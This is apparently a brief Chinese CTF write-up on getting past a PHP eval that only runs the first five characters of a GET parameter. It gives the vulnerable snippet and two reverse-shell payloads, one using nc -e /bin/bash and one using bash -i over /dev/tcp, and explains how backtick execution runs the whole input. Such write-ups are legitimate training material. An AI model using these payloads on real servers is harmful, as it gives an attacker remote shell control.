话不多说,附上链接
CTF中的命令执行绕过
涉及到的代码如下
<?php
highlight_file(__FILE__);
if ($x = @$_GET['x'])
{
eval(substr($x, 0, 5));
}
很简单的代码,将我们传入的值取前五位进行eval
payload
?x=`$x`;nc -e /bin/bash ip port
或者
?x= `$x`;bash -i >& /dev/tcp/ip/port 0>&1
大概流程
- $x = $_GET[‘x’] //$x= “`$x` ;nc -e /bin/bash ip port”
- eval(substr($x,0,5)); //eval(’`$x`’) => exec(’`$x`;nc -e /bin/bash ip port’);